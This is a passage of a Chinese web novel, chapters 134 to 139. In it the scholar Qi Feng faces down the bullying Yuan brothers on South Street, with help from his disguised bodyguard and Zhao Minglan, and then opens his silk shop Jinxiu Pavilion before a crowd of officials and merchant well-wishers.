齐枫缓缓踏前一步,脸上笑意不减,目光却带着几分寒意,朗声道:“袁浩然,你这恶人先告状的本事,倒是比你那锦袍值钱。欺负李掌柜,调戏我家小荷,还敢威胁陈兄,啧啧,真是好大的威风!”
第一百三十四章 冲突不断
袁浩然目光一眯,转向齐枫,认出他来,冷笑道:“齐枫?春闱榜首!怎么,你也想管本公子的闲事?劝你少掺和,不然连你一块儿收拾!”
齐枫哈哈一笑:“袁浩然,本少爷向来不爱管闲事,但你欺负到我家小荷头上,还敢在我阁门前撒野,这账,怕是得好好算算了。”
他顿了顿,目光扫过袁浩然和他的随从,缓缓道:“本少爷给你两个选择。第一,乖乖向小荷和李掌柜道歉,再赔他的损失,今日的事就此揭过。第二嘛……”
他嘴角勾起一抹冷笑,“本少爷就对你几个不客气了!”
袁浩然闻言,先是一愣,随即放声大笑,折扇一指齐枫,嚣张道:“齐枫,你算哪根葱?还敢让我道歉?哈哈,兄弟们,听到没?这书生想让我们低头,真是笑**了!”
他的随从们也跟着哄笑,一个随从嚷道:“齐公子,你那春闱榜首的名头,吓唬吓唬书生还行,在我们袁氏面前,屁都不是!”
另一个随从冷笑道:“就是!袁公子,收拾这姓齐的,让他知道南街谁说了算!”
袁浩然眼中满是轻蔑:“齐枫,你还真把自己当回事了?春闱榜首又如何?不过是个舞文弄墨的书生,也敢在本公子面前大放厥词!两个选择?”
“哈哈,你算老几,敢让本公子道歉?”
他转头看向身旁随从,嗤笑道:“兄弟们,这姓齐的怕是脑子进水了,以为自己有点名头,就能压咱们袁氏一头!”
一个随从捂着被陈玉堂打肿的脸,恶狠狠地附和:“不过是个靠几首酸诗出名的穷书生,还想让我们赔银子,简直痴心妄想!”
另一个随从冷笑:“在南街这地界,袁氏才是老大!你想在这儿开铺子,先问问我们袁公子答不答应!”
袁浩然折扇一合,斜眼看着齐枫,阴阳怪气道:“齐枫,听说你跟周氏,陈氏,徐氏那几个小子混得挺好,还想弄什么丝绸商号?劝你省省吧!你那破铺子,迟早得关门大吉!”
围观的路人窃窃私语,纷纷为齐枫捏了把汗。
南街虽热闹,但袁氏在府城的势力根深蒂固,袁浩然的嚣张并非空穴来风。
有人低声道:“这齐公子胆子也太大了,敢跟袁氏硬碰硬,怕是要吃亏!”
“就是,袁浩然背后有袁克良撑腰,齐枫再有才名,也斗不过袁氏啊!”
周子陵怒道:“袁浩然,你少在这儿耀武扬威!齐兄有我们周氏,陈氏,徐氏撑着,你想撒野,也得掂量掂量!”
徐远冷冷道:“齐兄,这姓袁的太狂了!仗着袁克良的名头,嚣张得没边,咱们不能让他这么猖狂下去!”
陈玉堂脸色阴沉,刚才出手已让他有些后悔,但见袁浩然如此嚣张,忍不住低声道:“袁浩然这是故意挑事,咱们若不压住他,生意的士气会大打折扣!”
小荷气得小脸通红,指着袁浩然骂道:“你们这群无耻之徒!欺负李掌柜,调戏我,还敢威胁我家少爷!袁氏了不起怎么了?我们少爷才不怕你们!”
袁浩然闻言,冷笑更盛:“小丫头,嘴还挺硬!齐枫,你这丫鬟倒是忠心,可惜啊,忠心救不了你!本公子今日就让你知道,在南街,谁才是真正的爷!”
袁浩然大手一挥,语气嚣张至极:“齐枫,本公子给你最后一个机会,带着你这群人滚出南街,不然别怪我对你不客气!至于你那什么铺子,趁早关门,省得浪费银子!”
齐枫静静地听着,脸上笑意不减,眼中却闪过一丝寒光。
他等袁浩然和随从们嘲讽得差不多了,才缓缓开口:“看来,袁公子是铁了心要选第二条路了?”
袁浩然一愣,随即收敛笑容,脸色阴沉下来,折扇猛地指向齐枫,咬牙道:“齐枫,你还真敢嘴硬!第二条路?本公子倒要看看,你这书生能有什么手段!兄弟们,给我教训教训他,让他知道南街的规矩!”
他身旁随从摩拳擦掌,气势汹汹,
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正要上前,齐枫却不慌不忙,折扇一收,轻轻招了招手,淡淡道:“富贵,出来吧。”
话音刚落,一道灰色身影从人群后闪出,正是扮作下人的段飞。
他身形如电,眨眼间便冲到袁浩然身前,出手快如闪电,只听几声闷响,袁浩然的两个随从已惨叫着倒地,一个捂着胸口,一个抱着胳膊,满地打滚。
袁浩然猝不及防,被富贵一掌拍在肩上,整个人踉跄后退,摔倒在茶肆门前的青石地上,折扇掉在一旁,狼狈不堪。
围观众人哗然,纷纷惊呼:“这下人好快的出手!”
“袁浩然这回踢到铁板了!”
“齐公子身边还有这等高手,真是深藏不露!”
袁浩然捂着脸爬起来,脸上红肿一片,咬牙切齿地瞪着齐枫,怒道:“齐枫,你敢让人对我动手!好,很好!这笔账我记下了!你们等着,袁氏绝不会放过你们!我要让你们在府城混不下去!”
富贵站在齐枫身侧,目光低垂,沉声道:“少爷,可要小的继续教训?”
齐枫折扇一展,摆手笑道:“富贵,够了。袁公子既然喜欢嘴硬,就让他多说几句,省得憋坏了。袁浩然,你不是要找袁克良告状吗?本少爷等着瞧。”
周子陵哈哈大笑,拍手道:“齐兄,干得漂亮!这姓袁的嚣张惯了,今天总算吃瘪了!富贵兄弟好身手,回头得请你喝一杯!”
陈玉堂松了一口气,低声道:“齐兄,富贵这一手,算是给咱们长了脸。不过,袁浩然回去肯定要搬弄是非,咱们得早做准备。”
袁浩然恶狠狠地瞪着齐枫,踉跄后退,两个随从也爬起来,灰头土脸地跟在他身后,准备离开。
就在此时,街头传来一阵急促的马蹄声,一匹黑马疾驰而来,马背上之人身着玄色锦袍,气势凌厉,正是袁克良。
他勒住缰绳,翻身下马,目光阴沉地扫过场中,落在袁浩然和齐枫身上,沉声喝道:“怎么回事?!”
第一百三十五章 矛盾激化
袁浩然一见袁克良翻身下马,眼中闪过一丝得意,捂着红肿的脸,踉跄着跑上前,脸上带着几分添油加醋的委屈。
“大哥!你可算来了!你看看这姓齐的,多嚣张!我喝个茶,这破茶肆的茶盏有裂痕,烫了我的手,毁了我的锦袍!我不过让这姓李的赔点银子,齐枫这书生却带着人冲上来,不分青红皂白就让他的下人打我!大哥,你得给我做主啊!”
他指着齐枫,继续咬牙切齿道:“这姓齐的仗着春闱榜首的名头,以为自己多了不起,连我们袁氏都不放在眼里!他那下人出手狠辣,差点把我打残了!这口气咱们袁氏咽不下!”
袁克良目光阴沉,他扫了一眼狼狈不堪的袁浩然,又看向地上的碎茶盏和瑟缩一旁的李掌柜,眼中寒意更盛。
转头看向齐枫:“齐枫,好大的胆子!区区一个书生,竟敢对我袁氏的人动手!你当我袁氏是什么?任你揉捏的软柿子?”
齐枫脸上笑意不减,目光却平静如水,淡淡道:“袁公子这话说得重了。本少爷不过是路见不平,拔刀相助。袁浩然欺负老实商户,调戏我家小荷,还威胁要抢人女儿,这等行径,府城上下谁看了不寒心?本少爷让人教训他几下,算是轻的了。”
袁克良冷笑一声,踏前一步,气势逼人:“教训?齐枫,你好大的口气!南街是我袁氏的地盘,你一个小小秀才,仗着几首酸诗,也敢在这儿撒野?浩然是我袁氏嫡系,你动他一根手指,便是打我袁氏的脸!今日这账,不好好算算,你当我袁克良是摆设?”
围观的路人窃窃私语,纷纷为齐枫捏了把汗。
袁克良在府城的威名远超袁浩然,手段狠辣,睚眦必报。
周子陵攥紧拳头,忍不住踏前一步,怒道:“袁克良,你少仗势欺人!袁浩然欺负李掌柜,调戏小荷,齐兄出手不过是主持公道!你若护短,休怪我们周氏不客气!”
徐远咬牙:“这姓袁的太狂了!仗着袁氏的势,简直不把咱们放在眼里!要我说,给他点颜色瞧瞧!”
南宫玥轻蹙眉头:“袁克良此人心机深沉,手段狠辣。袁浩然**,怕是他故意放纵,借机试探咱们。咱们别中了他的圈套。”
小荷气得小脸通红,指着袁克良骂道:“你这人怎么这样!明明是你弟弟欺负人在先,还敢恶人先告状!我们少爷主持公道,哪点错了?你袁氏了不起,我们齐家也不怕你!”
袁克良目光一眯,扫向小荷,冷笑道:“小丫头,嘴倒是挺硬!齐枫,你这丫鬟跟你一样,不知天高地厚!今日不给你点教训,你还真以为南街是你说了算!”
他转头看向袁浩然,沉声道:“浩然,你说这姓齐的让人打你,可有此事?”
袁浩然连忙点头,添油加醋道:“大哥,千真万确!他那下人叫什么富贵,出手狠辣,差点把我打残!这齐枫还嚣张得很,说什么要让我道歉,赔银子,简直狂妄至极!”
袁克良闻言,脸色越发阴沉,语气森冷:“齐枫,今日若不让你付出点代价,我袁克良的名字倒着写!”
齐枫笑意不减,缓缓道:“袁公子,话可别说得太满,你若一味护短,怕是要寒了南街商户的心。袁氏势大,可这府城,总还有个王法吧?”
袁克良哈哈大笑,笑声中满是轻蔑:“王法?齐枫,在这府城,我袁氏就是王法!你那点才名,唬唬书生还行,在我面前,屁都不是!今日你让人动了我弟弟,这笔账,我非得跟你好好清算!”
他踏前一步,气势更盛,眼中寒光闪烁:“齐枫,我给你最后一次机会,跪下向浩然道歉,再把你那下人交出来让我处置,这事就算了。不然,我袁氏的手段,你怕是吃不消!”
周子陵怒道:“袁克良,你别欺人太甚!齐兄是春闱榜首,赵大人和卢大人都看重他,你敢动他,试试看!”
小荷气得直跺脚,指
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着袁克良骂道:“你这人怎么比你弟弟还无耻!明明是你们袁氏欺负人在先,还敢让我们少爷下跪?做梦去吧!”
袁克良冷笑,目光扫过齐枫一行人,语气嚣张至极:“齐枫,你看看你这群人,书生、丫鬟、商户,一个个都不知天高地厚!既然你们敬酒不吃吃罚酒,那我就不客气了!”
他话音刚落,正要踏前一步,忽听一声清亮的娇喝从一旁传来:“袁克良,你好大的威风!”
众人循声望去,只见赵明兰一袭鹅黄长裙,缓缓从街角走了过来。
赵明兰来到齐枫身边站定:袁克良,你这威风抖得南街都快颤了。怎么,欺负老实商户还不够,还要对我齐兄动手?”
袁克良脸色一沉,目光阴冷地转向赵明兰,咬牙道:“赵明兰,这事跟你无关!你是赵大人的侄女又如何?袁氏的事,你最好少管!”
周子陵见状,松了一口气:“齐兄,赵姑娘来得正是时候!这袁克良的克星来了,哈哈,这下有好戏看了!”
陈玉堂附和:“赵明兰可是赵大人的掌上明珠,袁克良再狂,也得在她面前收敛几分。”
小荷拍手雀跃:“少爷,赵姐姐好厉害!”
赵明兰昂首挺胸,不屑:“袁克良,你袁氏再大,也得讲点道理吧?袁浩然欺负李掌柜,调戏小荷,还毁了人家的茶肆,齐公子教训他几下,算是轻的了!你不问青红皂白就护短,袁氏的脸都被你丢尽了!”
袁克良脸色铁青,怒道:“赵明兰,你少在这儿教训我!这姓齐的让人打了我弟弟,我袁氏咽不下这口气!你若再多管闲事,别怪我连赵大人都不给面子!”
赵明兰冷笑一声,丝毫不惧:“不给面子?袁克良,你有那个胆子吗?赵氏虽不比袁氏势大,可我叔父在府城的话,也不是你能随便无视的!再说,齐郎是春闱榜首,赵大人和卢大人都看重他,你动他之前,最好掂量掂量后果!”
第一百三十六章 吃瘪
袁克良咬牙切齿,眼中怒火熊熊,瞪向齐枫:“齐枫,你个小小秀才,仗着赵明兰撑腰就敢跟我袁氏作对?好,很好!你等着,这南街,你休想立足!”
齐枫一脸云淡风轻:“袁公子,作对不作对的,我倒没想那么多。本少爷只是做了该做的事。袁浩然欺人太甚,我让人教训他一顿,换谁都会觉得解气,你若非要护短,那咱们就走着瞧。”
袁克良冷笑,气得胸膛起伏:“齐枫,你很有种!敢跟我袁氏硬碰,我保证,你的铺子在这府城开不下去!今日之辱,我袁克良记下了!”
周子陵忍不住插嘴:“袁克良,你少拿袁氏吓人!齐兄有我们周氏、陈氏、徐氏撑着,你想动它,试试看!”
赵明兰目光一扫袁克良,语气冰冷:“袁克良,你若敢动齐郎一根汗**,我赵明兰第一个不放过你!”
袁克良脸色越发难看,指着齐枫怒道:“齐枫,你别以为有赵明兰撑腰就万事大吉了!”
齐枫哈哈一笑:“袁公子,你若一意孤行,怕是要搬石头砸自己的脚咯。”
袁克良眼中寒光闪烁,转头看向袁浩然,喝道:“浩然,咱们走!”
袁浩然捂着脸,恶狠狠地瞪了齐枫一眼,跟着袁克良走向马匹。
一群人悻悻离去,马蹄声在南街的青石路上渐行渐远,围观的路人纷纷散开。
齐枫目光扫过茶室门前狼藉的茶盏碎片,心中却在盘算着袁克良的下一步动作。
还未等他开口,赵明兰已快步上前,笑眯眯地一把抱住他的胳膊,鹅黄长裙在阳光下晃得人眼花:“齐公子!这几天我被我娘拉去清云寺拜佛祈福,整日吃斋念佛,差点没把我憋坏!可想死你了!”
齐枫一看赵明兰那亲昵的模样笑道:“赵姑娘,想本少爷归想,可别把本少爷的胳膊勒断了。你这几天不在府城,倒是清静了不少。”
赵明兰俏脸微红,抱着他胳膊更紧,娇嗔道:“你这嘴怎么这么不饶人!我好不容易从清云寺回来,替你挡了袁克良这**烦,你不夸我两句,没良心!”
南宫玥站在一旁目光扫过赵明兰那亲昵的姿态,轻轻一笑:“赵姑娘,你这刚从清云寺回来,怕是佛祖的清净还没学到几分,就忙着跟齐郎撒娇了。月儿瞧着,齐郎这胳膊怕是受不住你这热情。”
柳若雪眼中闪过一丝笑意:“赵姑娘果然热情似火,难怪袁克良见了你都得退避三舍。”
赵明兰闻言,松开齐枫的胳膊,转身瞪了南宫玥一眼,叉腰道:“南宫玥,你这话什么意思?还说我没学到清净,你那醉月楼的酒菜不也把他伺候得舒舒服服?怎么,怕我抢了你的风头?”
南宫玥轻笑,温声道:“赵姑娘误会了。月儿不过是替齐郎分忧,哪敢跟姑娘争风头?只是姑娘这刚回来就黏着齐郎,怕是让青禾姑娘看了不痛快。”
楚清秋站在齐枫身侧,面纱下的目光冷淡,扫过赵明兰,淡淡道:“赵姑娘与少爷叙旧,青禾自无话说。”
赵明兰闻言,俏脸一扬,冲楚清秋挑眉道:“青禾妹妹,你这话可酸溜溜的。齐郎救你出火坑,你感恩戴德我理解,可这黏着齐公子的事,我可没输给你!怎么,怕我跟齐公子太亲近,你心里不舒坦?”
小荷在一旁看得热闹,咬着桂花糕,瞪大眼睛插嘴道:“赵姐姐,南宫姐姐,青禾姐姐,你们不要再吵啦!”
齐枫哈哈一笑,折扇一展,戏谑道:“小荷说得对,你们几位姑娘,个个都是府城一等一的佳人,争来争去,让本少爷眼花缭乱,赵姑娘刚回来,南宫姑娘和柳姑娘也辛苦了,青禾更是谨慎周到,咱们还是先说正事,别让他人看了笑话。”
赵明兰哼了一声,瞪了南宫玥一眼,又冲楚清秋撇嘴:“齐公子说得对,咱们得说正事!不过,南宫玥,青禾,你们可得悠着点,齐公子可是我先看上的!”<
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br>南宫玥莞尔一笑:“赵姐姐放心,月儿对齐郎只有仰慕之心,哪敢跟姑娘争?”
楚清秋淡淡道:“赵姑娘的心意,少爷自会明白。青禾只盼少爷平安,至于其他,无心多想。”
周子陵哈哈大笑,拍手道:“齐兄,你这桃花运也太旺了!赵姑娘,南宫姑娘,柳姑娘,连青禾姑娘都为你操心,府城多少才子羡慕不来!”
齐枫大手一挥:“好了各位,我们先回醉月楼在说。”
……
袁克良带着袁浩然和一众随从,骑马离开南街,脸色阴沉得仿佛能滴出水来。
袁浩然捂着红肿的脸,咬牙切齿道:“大哥,这口气我咽不下!齐枫那书生仗着赵明兰撑腰,敢让人打我!还有那姓赵的女人,简直嚣张得没边!咱们袁氏在府城是什么地位,怎能让这群人骑在头上?”
袁克良勒住缰绳,目光阴冷,沉声道:“浩然,你急什么?齐枫不过是个春闱榜首,靠几首酸诗出点小名罢了。他敢动你,就是打我袁氏的脸!这笔账,我迟早跟他算清楚!”
袁浩然眼中闪过一丝怨毒,咬牙道:“大哥,那姓齐的还想在南街开什么铺子,分明是想跟咱们袁氏抢地盘!还有赵明兰,仗着赵大人的势,处处跟咱们作对!”
袁克良冷笑一声,眼中寒光闪烁:“放心,齐枫的铺子休想在南街立足!赵明兰虽是赵大人的侄女,但赵氏的势力,远不及我袁氏在府城的根基。她想护着齐枫,也得看有没有那个本事!”
袁浩然恨声道:“大哥,那姓齐的身边还有个下人,叫什么富贵,出手狠辣,怕是有几分功夫!”
袁克良眯起眼,语气森冷:“富贵?一个下人罢了,翻不起什么浪。齐枫敢在南街跟我叫板,我自有办法让他后悔。至于铺子……”
他顿了顿,嘴角勾起一抹阴冷的笑,“我已得了萧大人的许可,齐枫这书生,注定在这府城混不下去!”
第一百三十七章 开张
齐枫一行人从南街返回醉月楼,回到厢房,众人围坐一桌,桌上摆满了醉月楼的招牌菜。
齐枫端起酒盏,笑眯眯道:“今日南街一战,诸位都辛苦了。赵姑娘来得及时,袁克良那厮灰溜溜走了,来,咱们喝一杯,权当庆功!”
赵明兰俏脸微红,举杯娇笑道:“齐公子,这杯我得敬你!若不是你让富贵出手,袁浩然那混账还不知要嚣张到什么时候!南街的商户们都夸你仗义呢!”
南宫玥轻笑道:“齐郎,月儿也敬你一杯。袁克良虽退去,但怕是不会善罢甘休。锦绣阁的开张,咱们得加倍小心。”
柳若雪团扇掩嘴,柔声道:“齐公子,今日之事,府城上下怕是传遍了。锦绣阁的名声已打出去,开张之日,定能吸引不少客人。”
周子陵哈哈大笑,举杯道:“齐兄,赵姑娘果然是袁克良的克星!来,敬赵姑娘一杯!”
陈玉堂沉声道:“齐兄,锦绣阁的布置已差不多了,匠人这两日加紧赶工,牌匾也刻好了。”
徐远咧嘴道:“仓库的货我也备齐了,杭绸蜀锦样样俱全。南街的商户都等着咱们开张呢!”
齐枫笑道:“诸位有心了。锦绣阁的事,就按计划来,开张的日子,就定在一周后,挑个黄道吉日,热热闹闹地办起来。”
众人举杯共饮,厢房内笑声不断。
赵明兰瞥了楚清秋一眼,娇声道:“锦绣阁开张,到时候我带几个姐妹过来,保管让你的丝绸卖到手软!”
南宫玥轻笑:“月儿也约了几位夫人,届时她们会带闺女过来选料子。”
柳若雪柔声道:“若雪已联络了云州的几家戏班,替锦绣阁造势。”
楚清秋在一旁提议道:“少爷,袁克良的威胁不可不防,青禾建议多安排些人手,守住铺子。”
齐枫神秘一笑:“放心,本少爷心里有数。富贵身手不凡,有他在,袁克良翻不出什么浪。”
小荷拍手道:“少爷,锦绣阁开张,咱们要不请个戏班子来唱两出戏?南街的百姓肯定爱看!”
周子陵点头道:“小荷这主意好!齐兄,咱不妨请个戏班子,再摆几桌流水席,吸引人气!”
小荷看向柳若雪:“说起这个,咱们这里不是就有一位名伶吗?若雪姐姐的名声这么大,只要是她唱一曲,那还不知道得吸引多少人过来呢!”
楚清秋摇了摇头:“傻瓜,柳姑娘的名声那么大,倒是吸引来的人并不在少数,如此一来反倒是误事,想来买的人自然会过来买,若是不想来的就算是来了也没什么益处,请个普通系班子是最合适不过的!”
小荷嘟囔了一句:“青禾姐姐说得对,那就请一个普通的戏班子好了。”
齐枫折扇一展,笑道:“好,就按小荷和周兄的意思办!锦绣阁开张,定要热热闹闹,让府城上下都知道咱们的名号!”
……
一周后,南街热闹非凡,锦绣阁的开张之日如期而至。
清晨的阳光洒在青石街上,锦绣阁门前张灯结彩,檀木雕花的牌匾高悬,上书“锦绣阁”三个金光闪闪的大字,气派非凡。
门前两侧摆放着花篮,红绸飘扬,吸引了无数路人驻足围观。
铺子内,杭绸蜀锦整齐陈列,独家纹样的丝绸在琉璃灯盏的映照下流光溢彩,宛如仙境。
南街的百姓议论纷纷,有人惊叹道:“这锦绣阁好大的手笔!听说背后是春闱榜首齐枫撑腰,怪不得这么气派!”
“这些丝绸的花样,我从没见过,贵妇小姐们肯定抢着买!”
“听说赵大人的侄女和醉月楼的南宫姑娘都来了,这铺子怕是要火遍府城!”
几位衣着华贵的夫人带着丫鬟走进铺子,目光被一匹匹精美的丝绸吸引,啧啧称赞。
一位夫人拿起一匹绣着牡丹纹的蜀锦,惊叹道:“这花样真是别致,针脚细密,府城怕是找不出第二家!小翠,回头让账房送五十两银子过来,这匹料子我要了!”
另一位夫人抚摸着一匹水蓝
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色杭绸,笑道:“齐公子果然有眼光,这料子做成裙子,穿去花宴肯定出彩!听说锦绣阁还有独家纹样,我得再挑几匹!”
铺子内人头攒动,丫鬟们忙着招待客人,匠人们在后院清点货物,忙而不乱。
齐枫站在铺子中央,笑眯眯地看着热闹的场面,心中颇为满意。
赵明兰一袭鹅黄长裙,挤到齐枫身旁,娇笑道:“齐公子,你这锦绣阁开得太漂亮了!瞧瞧这些夫人,一个个眼都直了!我说过,我的姐妹们肯定给你捧场!”
南宫玥也不甘示弱道:“齐郎,月儿带来的几位夫人已下了订单,杭绸和蜀锦都卖出了好几匹。锦绣阁的名声,今日算是彻底打响了。”
柳若雪柔声道:“齐公子,云州的戏班已收到丝绸,过几日便会在演出中展示。府城的贵女们见了,定会蜂拥而至。”
小荷抱着几匹丝绸跑了过来,一脸兴奋:“少爷,这铺子太热闹了!那些夫人挑料子挑得眼花缭乱,咱的生意肯定大赚!”
周子陵哈哈大笑,眼睛都眯成了一条缝:“齐兄,这开张的气势,府城上下谁不服?袁克良就算是想使坏,也得掂量掂量!”
陈玉堂有些忧心道:“铺子虽开得顺利,但袁克良睚眦必报,咱们还是得防着他暗中下绊子。”
徐远咧嘴一笑:“袁克良若敢来捣乱,咱就让富贵再给他点颜色瞧瞧!咱们几家都在这里,怕他作甚?”
齐枫折扇一合,笑道:“诸位放心,锦绣阁今日开张,气势已成。袁克良若想捣乱,本少爷自有办法应付。今日是好日子,咱们先把生意做好,其他的,慢慢来。”
赵明兰娇笑道:“我回头我再拉几个姐妹过来,保管你们的丝绸卖到断货!”
南宫玥轻笑:“这么看来,月儿也得加把劲,多拉几位夫人过来了。”
正说着,铺子外传来一阵喧哗,一顶华丽的轿子在门前停下,轿帘掀开,赵明德一身紫色官袍,缓步走下轿子,气度威严。
第一百三十八章 贺客盈门
“哈哈,齐贤弟,锦绣阁开张,果真是府城一大盛事!这南街今日比往常热闹了三分!”
赵明德一身紫色官袍,气度威严,缓步走进铺子,身后跟着两名随从,手捧贺礼。
赵明德满脸笑意,目光扫过铺子内的精美丝绸,微微点头,似是颇为满意。
齐枫连忙迎上前,折扇一合,拱手笑道:“赵大**驾光临,锦绣阁蓬荜生辉!您这话可是抬举了,南街的热闹,还得多谢您平日里的照拂。”
赵明兰见自家叔父到来,俏脸一扬,挤到齐枫身旁,娇声道:“叔父,您来得正好!齐公子的锦绣阁可是府城一绝,您瞧瞧这蜀锦,针脚细密,花样独一无二,我那些姐妹都抢着买呢!”
赵明德哈哈一笑,捋了捋胡须,目光落在铺子中央一匹绣着祥云纹的杭绸上,赞道:“好!这料子果然不凡!贤弟,你这铺子一开,怕是要让府城的丝绸生意翻个天!本官今日来,既是贺喜,也想看看你这春闱榜首的本事,果真名不虚传!”
齐枫笑眯眯地摆手:“赵大人过奖了。小子不过是借了周兄,陈兄,徐兄的东风,再加上南宫姑娘和柳姑娘的帮衬,才有了今日的热闹。赵大人若不嫌弃,不妨挑几匹料子,送给府上的夫人小姐,权当小子的一点心意。”
赵明德摆手,爽朗道:“心意我领了,不过这料子我可不能白拿!回头我让账房送二百两银子过来,这匹祥云纹的杭绸我要了,给我家那几个丫头做身衣裳,定能让她们欢喜!”
南宫玥轻笑上前,温声道:“赵大人眼光独到,这匹祥云纹的杭绸可是我们锦绣阁的独家纹样,针脚细密,色泽柔和,穿上身定能衬得小姐们气质出众。”
柳若雪也柔声道:“赵大人,锦绣阁还有几匹蜀锦,绣的是芙蓉花样,若雪昨日听云州的戏班说,这种花样最受贵女喜爱,不如也给府上的小姐们带几匹?”
赵明德连连点头,笑道:“好!南宫姑娘,柳姑娘,你们二位果然会做生意!那就再加两匹芙蓉花样的蜀锦,回头我让人送银子过来!”
小荷在一旁抱着几匹丝绸,兴奋地插嘴:“赵大人,您可真会挑!这几匹料子可是我们少爷亲自选的,府城上下找不出第二家!”
赵明德哈哈大笑,正要再说话,铺子外又传来一阵马蹄声,紧接着,一道清朗的声音响起:“齐枫,锦绣阁开张,怎能少了我卢某人来捧场!”
众人转头一看,只见卢正淳一袭青衫,带着几名随从走了进来。
卢正淳面带笑意,扫过齐枫,又落在铺子内的丝绸上,似笑非笑道:“齐公子,你这铺子开得风生水起,南街可是府城的热闹地段,怕是也得经受些考验才行呐!”
齐枫心中微动,脸上笑意不减,拱手道:“卢大人言重了。小子不过是小打小闹,哪敢说经受什么考验?今日您能赏脸前来,锦绣阁荣幸之至!”
卢正淳笑了笑:“齐枫,你也别太谦虚,有我和赵大人照拂你,其他你不必担心,但是做生意可不是光靠才名,你得掂量掂量。”
赵明兰听出卢正淳的弦外之音,俏脸一沉,叉腰道:“卢大人,您这话什么意思?齐公子正大光明,你也说了有你和我叔父,还有人能一手遮天?”
赵明德眉头微皱,沉声道:“明兰,卢大人言之有理,要听!”
卢正淳哈哈一笑,摆手道:“赵小姐误会了!本官不过是提醒齐枫,毕竟,小心驶得万年船!”
齐枫笑眯眯的看了卢正淳一眼道:“卢大人好意,小子心领了。”
周子陵踏前一步,豪爽道:“卢大人,齐兄的锦绣阁是我们几家共同出力,若有人敢来捣乱,我们周氏第一个不答应!”
陈玉堂沉声道:“不错!锦绣阁是正经生意,他人若想撒野,也得问问我们陈氏的拳头硬不硬!”
卢正淳哈哈
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一笑:“好,齐枫,你这帮兄弟果然仗义!如此,本官也就放心了!”
正说着,铺子外又传来一阵热闹的笑声,几名衣着华贵的男子走了进来,身后跟着丫鬟小厮,手捧贺礼,显然是府城其他家族的代表。
为首一人身着锦袍,约莫三十岁,笑呵呵地拱手道:“齐公子,锦绣阁开张,恭喜恭喜!鄙人李氏李文昌,今日特来捧场!这匹蜀锦我昨日瞧了,果真是精美绝伦,府城上下找了三年,都没见过这么细腻的花样!”
另一名男子接口道:“齐公子,我是王氏王泽远,听闻锦绣阁的杭绸独一无二,今日一见,果然名不虚传!我家夫人昨日就吵着要来挑几匹,今日我先下手,定了两匹牡丹纹的蜀锦,银子回头送到!”
还有一人笑道:“齐公子,我张氏张文远,锦绣阁的丝绸我家老太君瞧了都赞不绝口,特意让我送来一百两银子,定三匹芙蓉花样的杭绸!”
齐枫一一拱手还礼,笑道:“李兄,王兄,张兄,诸位抬爱,小子感激不尽!锦绣阁初开,仰仗诸位支持,今日的贺礼,小子记下了,改日定登门拜谢!”
南宫玥轻笑上前:“几位公子眼光独到,这蜀锦和杭绸都是锦绣阁的独家货色,诸位若有心,不妨多带几匹回去,府上的夫人小姐定会欢喜。”
柳若雪也接着柔声道:“几位公子,锦绣阁还有几匹新到的云锦,纹样新颖,色泽典雅,若有兴趣,不妨去后厅瞧瞧。”
小荷抱着几匹丝绸,兴奋道:“少爷,这些公子一来,咱们的丝绸怕是要卖断货了!”
正说着,铺子内的气氛越发热烈,贺客们围着丝绸品评,丫鬟们忙着记录订单,匠人们在后院清点货物,忙碌却井然有序。
赵明德端起茶盏,笑道:“齐贤弟,日后府城商贾怕是要以你为首了!本官还是那句话,本官一直看好你,往后若有难处,尽管来找我!”
第一百三十九章 大事不好
齐枫拱手笑道:“赵大人这话,小子可记下了!”
正热闹间,铺子外忽传来一阵急促的马蹄声,夹杂着低沉的脚步声,门口的红绸被风掀起,隐约可见几道身影走来。
为首一人身着玄色长袍,气势凌厉,目光如刀,正是萧无痕。
他身后跟着袁克良,袁克良一脸阴沉,眼中带着几分怨毒,盯着铺子内的齐枫,嘴角勾起一抹冷笑。
萧无痕踏入铺子,目光扫过众人,沉声道:“齐枫,锦绣阁开张,萧某特来贺喜!”
气氛陡然一紧,铺子内的贺客们纷纷侧目,低声议论,察觉到这两位不速之客的到来,怕是要掀起些波澜。
赵明德率先打破沉默,爽朗一笑,拱手道:“萧大人,难得你百忙之中抽空前来,锦绣阁今日真是蓬荜生辉!齐贤弟,这可是府城的一大喜事,萧大人能来,可见你这铺子的分量!”
卢正淳接口道:“萧大人,你这追查龙佩的重任在身,还能亲自来贺,足见对齐枫的看重!”
齐枫拱手,笑眯眯道:“萧大人,卢大人,赵大人,诸位抬爱,小子感激不尽。锦绣阁初开,不过是小打小闹,承蒙诸位赏脸,才有了今日的热闹。”
萧无痕目光微眯,笑了笑:“齐枫,锦绣阁开张,的确是府城一件大事。南街人流如织,商贾云集,你的铺子能在这儿站稳脚跟,足见本事。萧某今日前来为你。”
袁克良冷笑一声,踏前一步,阴阳怪气道:“齐枫,别以为弄几匹丝绸,找几个帮衬,就能在这南街横着走。府城的水深着呢,你别一不小心翻了船!”
赵明兰一听这话,俏脸一沉,叉腰道:“袁克良,你这话什么意思?这轮得到你在这儿指手画脚!”
南宫玥轻笑上前,温声道:“袁公子,锦绣阁的丝绸可是府城独一份,今日各家都来捧场,你若有心不如也挑几匹回去。”
袁克良脸色更阴,咬牙道:“哼,南宫姑娘,你俩倒是会帮腔!齐枫不过是个靠几首酸诗出名的书生,真以为能靠这点小聪明在南街站稳?锦绣阁今日热闹,往后可未必!”
周子陵听不下去了:“袁克良,你少在这儿阴阳怪气!又来找不痛快?”
徐远咧嘴一笑:“袁克良,你弟弟袁浩然前几日在南街撒野,被教训得灰溜溜走了,所以你今日来这儿叫嚣?嫌脸丢得不够?”
袁克良被几人轮番挤兑,脸色铁青,却碍于赵明德和卢正淳在场,不敢发作。
他冷哼一声,瞪着齐枫道:“齐枫,你别得意!今日有赵大人和卢大人给你撑腰,改日我倒要看看,你这铺子还能不能这么热闹!”
齐枫笑眯眯道:“袁公子,话别说得太满,有什么手段,齐某人接着便是。”
赵明德哈哈一笑,打圆场道:“好了好了,今日是锦绣阁的大喜日子,袁克良,你就别在这儿扫兴了。”
袁克良脸色越发难看,只得冷哼一声,退到萧无痕身后,不再开口。
萧无痕目光扫过众人,沉声道:“齐枫,萧某公务在身,追查龙佩一案刻不容缓,今日只是抽空前来贺喜,差不多也该离开了。”
齐枫拱手,笑道:“萧大人好意,小子心领了。若有需要,小子定当配合萧大人的差事。”
萧无痕微微点头,目光却在楚清秋身上停留片刻。
楚清秋站在齐枫身侧,面纱遮住半边脸,目光清冷,察觉到萧无痕的注视,垂下眼帘,掩住眼中情绪。
冲突缓解,铺子内的气氛越发热烈。
